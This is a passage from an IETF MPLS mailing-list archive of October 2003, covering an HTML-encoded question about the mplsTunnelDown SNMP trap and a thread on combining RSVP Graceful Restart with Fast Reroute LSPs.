  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><FONT=20
  face=3D"Times New Roman" color=3Dblack size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'"><![if !supportEmptyParas]><![endif]>&nbsp;</SPAN></FONT><FONT=20
  face=3D"Times New Roman" color=3Dblack size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></P><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black">Hi,</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black">I have a question =
regarding the mplsTunnelDown Trap. The objects that are defined for the =
Trap are as follows:</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"BORDER-RIGHT: =
medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: =
0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: medium none; =
PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-left-alt: solid =
black 1.5pt; mso-padding-alt: 0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>mplsTunnelDown =
NOTIFICATION-TYPE</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN><SPAN style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</SPAN>OBJECTS<SPAN style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>{</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN><SPAN style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>mplsTunnelAdminStatus,</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"BORDER-RIGHT: =
medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: =
0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: medium none; =
PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-left-alt: solid =
black 1.5pt; mso-padding-alt: 0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>mplsTunnelOperStatus</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"BORDER-RIGHT: =
medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: =
0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: medium none; =
PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-left-alt: solid =
black 1.5pt; mso-padding-alt: 0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier =
New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: =
black"><SPAN style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; </SPAN>}</SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE></DIV>
  <DIV=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black =
1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none"><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
75.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black">STATUS<SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>current</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
75.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</SPAN>DESCRIPTION</SPAN></FONT><FONT color=3Dblack><SPAN =
style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"BORDER-RIGHT: =
medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: =
0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 75.75pt; BORDER-LEFT: medium =
none; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-left-alt: =
solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm 4.0pt"><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black"><SPAN style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>"This =
notification is generated when a mplsTunnelOperStatus object for one of =
the</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE></DIV>
  <DIV=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black =
1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none"><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
141.15pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black">configured =
tunnels is about to enter the down state from some other state (but not =
from the notPresent<SPAN style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>state).<SPAN =
style=3D"mso-spacerun: yes">&nbsp; </SPAN>This other state is indicated =
by the</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black; =
mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></PRE></DIV>
  <DIV=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black =
1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none"><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
75.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><SPAN =
style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</SPAN>included value of mplsTunnelOperStatus."</SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE><PRE style=3D"BORDER-RIGHT: =
medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: =
0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 75.75pt; BORDER-LEFT: medium =
none; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-left-alt: =
solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm 4.0pt"><FONT =
face=3D"Courier New" color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: =
10pt; COLOR: black"><SPAN style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</SPAN>::=3D { mplsTeNotifications 2 }</SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE></DIV>
  <DIV=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black =
1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none"><PRE =
style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT face=3D"Courier New" color=3Dblack =
size=3D2><SPAN style=3D"FONT-SIZE: 10pt; COLOR: black"><![if =
!supportEmptyParas]>&nbsp;<![endif]></SPAN></FONT><FONT =
color=3Dblack><SPAN style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></PRE>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">There is no indication (also =
no in the=20
  mplsTunnleTable) on the cause to the error. </SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; =
COLOR: black">The=20
  PathErr messages contain details on the cause to the error (error code =
and=20
  error value). </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN style=3D"FONT-SIZE: 10pt; =
COLOR: black">How=20
  can this information be exposed to the =
administrator?</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-border-left-alt: solid black 1.5pt; mso-padding-alt: =
0cm 0cm 0cm 4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">Thanks, Nurit.<SPAN=20
  class=3DEmailStyle17><FONT=20
  =
color=3Dblack><o:p></o:p></FONT></SPAN></SPAN></FONT></P></DIV></DIV></BL=
OCKQUOTE></BODY></HTML>

------=_NextPart_000_025B_01C39C78.F0A639A0--



From owner-mpls@UU.NET  Mon Oct 27 08:47:25 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA12430
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 08:47:24 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfn08057
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 13:47:33 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfn07797;
	Mon, 27 Oct 2003 13:47:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfl14670
	for mpls-outgoing; Mon, 27 Oct 2003 13:27:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmfl14665
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 13:27:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmfl07486
	for <mpls@uu.net>; Mon, 27 Oct 2003 13:25:30 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfl08387
	for <mpls@uu.net>; Mon, 27 Oct 2003 13:25:29 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQpmfl08372
	for <mpls@uu.net>; Mon, 27 Oct 2003 13:25:28 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9RDPLFJ016377
	for <mpls@uu.net>; Mon, 27 Oct 2003 08:25:24 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM10150;
	Mon, 27 Oct 2003 08:25:20 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9RDPKW24491 for mpls@uu.net; Mon, 27 Oct 2003 08:25:20 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmfl14389
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 13:24:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmfl05098
	for <mpls@UU.NET>; Mon, 27 Oct 2003 13:24:10 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfl20817
	for <mpls@UU.NET>; Mon, 27 Oct 2003 13:24:09 GMT
Received: from miles.dataconnection.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQpmfl20802
	for <mpls@UU.NET>; Mon, 27 Oct 2003 13:24:09 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <49TPBTJL>; Mon, 27 Oct 2003 13:23:55 -0000
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: Juniper - Kireeti Kompella <kireeti@juniper.net>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
Date: Mon, 27 Oct 2003 13:23:58 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Kireeti,

As you say, FRR and GR solve very different problems, and that is why it's
desirable to have both in the same network.

The issue with that is not with overlap in the problems they are solving,
but in recovering FRR backup and protected LSPs (which may not be being
refreshed from upstream) after a restart.  Is this a problem that interests
you?

Nic

-----Original Message-----
From: Juniper - Kireeti Kompella 
Sent: Friday, October 24, 2003 7:40 PM
To: Nic Neate
Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject: RE: RSVP Graceful Restart


Hi Nic,

On Wed, 22 Oct 2003, Nic Neate wrote:

> Together with some colleagues at Data Connection, I have done some work
> looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.

FRR and GR solve *very* different problems: the first is for link or
node failures where the data plane is affected, the second for control
plane failures (a special subset of node failures).

Could you explain the problem you see here?

Kireeti.



From owner-mpls@UU.NET  Mon Oct 27 09:27:17 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15558
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 09:27:17 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfp21542
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 14:27:27 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfp21335;
	Mon, 27 Oct 2003 14:27:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfo06010
	for mpls-outgoing; Mon, 27 Oct 2003 14:04:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmfo05989
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:04:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmfo23919
	for <mpls@UU.NET>; Mon, 27 Oct 2003 14:02:34 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfo26387
	for <mpls@UU.NET>; Mon, 27 Oct 2003 14:02:34 GMT
Received: from relay0.netfirms.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: m0.netfirms.com [209.171.43.51])
	id QQpmfo26365
	for <mpls@UU.NET>; Mon, 27 Oct 2003 14:02:33 GMT
Received: (qmail 68849 invoked from network); 27 Oct 2003 14:02:24 -0000
Received: from du-069-0829.access.clara.net (HELO Puppy) (217.158.170.66)
  by 0 with SMTP; 27 Oct 2003 14:02:24 -0000
Message-ID: <032a01c39c92$ffde41a0$e9aa9ed9@Puppy>
Reply-To: "Adrian Farrel" <adrian@olddog.co.uk>
From: "Adrian Farrel" <adrian@olddog.co.uk>
To: "Nic Neate" <Nic.Neate@dataconnection.com>,
        "Juniper - Kireeti Kompella" <kireeti@juniper.net>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, <ccamp@ops.ietf.org>
References: <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
Subject: Re: RSVP Graceful Restart
Date: Mon, 27 Oct 2003 14:00:19 -0000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Nic,

Could you set out the problem in a couple of paragraphs (perhaps with an example) and let
everyone see what it is you're working on so that they can join in the discussions.

Thanks,
Adrian
----- Original Message ----- 
From: "Nic Neate" <Nic.Neate@dataconnection.com>
To: "Juniper - Kireeti Kompella" <kireeti@juniper.net>
Cc: "'mpls@uu.net'" <mpls@UU.NET>; <ccamp@ops.ietf.org>
Sent: Monday, October 27, 2003 1:23 PM
Subject: RE: RSVP Graceful Restart


> Hi Kireeti,
>
> As you say, FRR and GR solve very different problems, and that is why it's
> desirable to have both in the same network.
>
> The issue with that is not with overlap in the problems they are solving,
> but in recovering FRR backup and protected LSPs (which may not be being
> refreshed from upstream) after a restart.  Is this a problem that interests
> you?
>
> Nic
>
> -----Original Message-----
> From: Juniper - Kireeti Kompella
> Sent: Friday, October 24, 2003 7:40 PM
> To: Nic Neate
> Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
> Subject: RE: RSVP Graceful Restart
>
>
> Hi Nic,
>
> On Wed, 22 Oct 2003, Nic Neate wrote:
>
> > Together with some colleagues at Data Connection, I have done some work
> > looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.
>
> FRR and GR solve *very* different problems: the first is for link or
> node failures where the data plane is affected, the second for control
> plane failures (a special subset of node failures).
>
> Could you explain the problem you see here?
>
> Kireeti.
>
>



From owner-mpls@UU.NET  Mon Oct 27 09:45:03 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16519
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 09:45:03 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfr24588
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 14:45:13 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfr24343;
	Mon, 27 Oct 2003 14:45:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfp09763
	for mpls-outgoing; Mon, 27 Oct 2003 14:22:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmfp09747
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:22:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmfp14856
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:22:32 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
